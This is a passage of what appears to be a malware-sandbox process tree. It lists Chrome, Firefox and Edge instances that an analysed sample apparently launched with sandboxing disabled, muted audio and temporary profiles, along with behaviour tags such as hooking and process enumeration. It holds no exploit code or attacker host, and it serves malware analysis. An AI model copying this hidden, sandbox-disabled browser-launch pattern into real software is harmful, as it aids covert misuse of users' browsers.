      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffae513c728,0x7ffae513c734,0x7ffae513c740
      4⤵
      PID:3852
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1624,i,15306065770178980596,17599658115187444320,262144 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:2
      4⤵
      PID:6108
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1860,i,3816974384442669527,3958655733069474574,524288 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:11
      4⤵
      System Time Discovery
      PID:5972
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --force-high-res-timeticks=disabled --metrics-shmem-handle=2000,i,10748137144659492031,7902606019153252891,524288 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:13
      4⤵
      PID:5140
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2868,i,14567863779120997304,13362129520820108,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=2872 /prefetch:1
      4⤵
      PID:1528
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2880,i,1886840949109593348,10932151804479959143,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=2892 /prefetch:1
      4⤵
      PID:704
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3156,i,12334529279985343941,15834625676111102062,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
      4⤵
      PID:4404
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3168,i,3419701477446417544,11570378313999861783,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:9
      4⤵
      PID:4804
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3800,i,479418140147004128,1525687601365770687,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:9
      4⤵
      PID:4648
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4272,i,13039991409388200937,5276959443971127977,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:1
      4⤵
      PID:1060
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --force-high-res-timeticks=disabled --metrics-shmem-handle=4236,i,11576930032265697942,7174772751589411905,524288 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:14
      4⤵
      PID:5740
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --force-high-res-timeticks=disabled --metrics-shmem-handle=5132,i,15746146062872592661,17387024525796142501,524288 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:14
      4⤵
      PID:2092
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5208,i,3703121562058791980,6047099286361469196,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:1
      4⤵
      PID:1028
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5232,i,9655735940534057960,17757464492291269847,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:1
      4⤵
      PID:3624
  - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
      4⤵
      Drops file in Windows directory
      PID:3424
    - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x290,0x294,0x298,0x26c,0x29c,0x7ff6202a55a0,0x7ff6202a55ac,0x7ff6202a55b8
        5⤵
        Drops file in Windows directory
        
        PID:2136
    - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --system-level --verbose-logging --installerdata="C:\Program Files\Google\Chrome\Application\initial_preferences" --create-shortcuts=1 --install-level=0
        5⤵
        Drops file in Windows directory
        
        PID:3248
      - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x290,0x294,0x298,0x26c,0x29c,0x7ff6202a55a0,0x7ff6202a55ac,0x7ff6202a55b8
        6⤵
        Drops file in Windows directory
        
        PID:5740
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5240,i,18334876619076306321,8334754899904087737,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:1
      4⤵
      PID:2668
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5280,i,8892248257193106750,16439281179695237679,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:1
      4⤵
      PID:4220
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --force-high-res-timeticks=disabled --metrics-shmem-handle=5260,i,12413101323596865611,6908040069801989148,524288 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:14
      4⤵
      PID:4636
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --force-high-res-timeticks=disabled --metrics-shmem-handle=5396,i,7027973597923241147,1836862422300920182,524288 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:14
      4⤵
      PID:3944
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5200,i,2370436067245996218,14667183111837934010,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:1
      4⤵
      PID:4656
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ba1aeagk.13z" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5608,i,8269757702978848914,8335331299433551537,2097152 --field-trial-handle=2352,i,15638613899108939497,16610596933049294019,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:1
      4⤵
      PID:5896
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\xp5g44jy.rk2"
    3⤵
    PID:5628
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\xp5g44jy.rk2
      4⤵
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:4172
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1940 -prefsLen 27097 -prefMapHandle 1944 -prefMapSize 270279 -ipcHandle 2016 -initialChannelId {ccd47fad-1e05-472a-9d64-aba56a3d9c41} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:3916
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2300 -prefsLen 27133 -prefMapHandle 2124 -prefMapSize 270279 -ipcHandle 2392 -initialChannelId {84a64c02-c269-4fe1-80c8-8be68e5a9e26} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:6104
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a88edd25-1b7e-4c0e-8501-1ff9a64d0302.dmp"
        5⤵
        
        PID:2096
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2896 -prefsLen 27133 -prefMapHandle 2900 -prefMapSize 270279 -ipcHandle 2576 -initialChannelId {154ab8d6-8276-428f-b7dc-25358c63885a} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:3008
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\0e1dfda3-2984-4326-8b67-675f66b82249.dmp"
        5⤵
        
        PID:4572
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3024 -prefsLen 27133 -prefMapHandle 3000 -prefMapSize 270279 -ipcHandle 2872 -initialChannelId {aef184cb-dbb0-4551-b070-fdf64c51c6a8} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:3064
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\b6d20ef6-097a-43bd-a23e-38168700763b.dmp"
        5⤵
        
        PID:5920
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2872 -prefsLen 27198 -prefMapHandle 3252 -prefMapSize 270279 -ipcHandle 3388 -initialChannelId {74acb55b-e491-45a3-80c1-c52f113d1e60} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        5⤵
        
        PID:3096
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3604 -prefsLen 27323 -prefMapHandle 3608 -prefMapSize 270279 -jsInitHandle 3612 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3820 -initialChannelId {7f244199-1073-4236-b829-32341394ff64} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        5⤵
        Checks processor information in registry
        
        PID:3396
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\9b9cef58-cc75-4d36-96d9-ee45c12c3725.dmp"
        5⤵
        
        PID:4532
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3388 -prefsLen 27323 -prefMapHandle 4040 -prefMapSize 270279 -ipcHandle 3396 -initialChannelId {69cfc86f-2ca6-44f7-bb80-13f0a8cecab3} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        5⤵
        
        PID:4080
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\33130e24-cdb2-409d-8ecc-ef4840a79873.dmp"
        5⤵
        
        PID:3428
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4264 -prefsLen 27323 -prefMapHandle 4260 -prefMapSize 270279 -ipcHandle 4248 -initialChannelId {243f9cd3-272f-408b-90da-19ece432d654} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 rdd
        5⤵
        
        PID:5760
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4636 -prefsLen 34876 -prefMapHandle 4640 -prefMapSize 270279 -jsInitHandle 4644 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4652 -initialChannelId {0895674e-14da-45ab-977f-40a75b7582c5} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        5⤵
        Checks processor information in registry
        
        PID:6012
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4972 -prefsLen 35010 -prefMapHandle 4976 -prefMapSize 270279 -ipcHandle 5020 -initialChannelId {509552de-01ca-49d0-b956-4792dc3d4e49} -parentPid 4172 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4172" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        5⤵
        Checks processor information in registry
        
        PID:3064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy"
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:2252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x280,0x7ffadf85c188,0x7ffadf85c194,0x7ffadf85c1a0
      4⤵
      PID:4304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1948,i,982005738877034645,10258541442812398888,262144 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:2
      4⤵
      PID:252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2064,i,5575673309995282054,12861891260914643759,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=2724 /prefetch:11
      4⤵
      System Time Discovery
      PID:832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2392,i,5867259116879656465,14482755231939233574,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=2704 /prefetch:13
      4⤵
      PID:2508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3244,i,17145819637361868787,9806397220120501769,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
      4⤵
      PID:5056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3248,i,12904679209499752265,17452748393504888698,2097152 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:1
      4⤵
      PID:4880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3412,i,3048742832435025458,6342563902322011785,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:14
      4⤵
      PID:5148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3420,i,12261693550007701995,11632570842028090822,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4260 /prefetch:14
      4⤵
      PID:4692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ng23plu3.3iy" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3424,i,16700878192762080892,6108053071562014227,524288 --field-trial-handle=2652,i,9018903170885966886,14288053376465585619,262144 --variations-seed-version --mojo-platform-channel-handle=4332 /prefetch:14
      4⤵
      PID:3536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
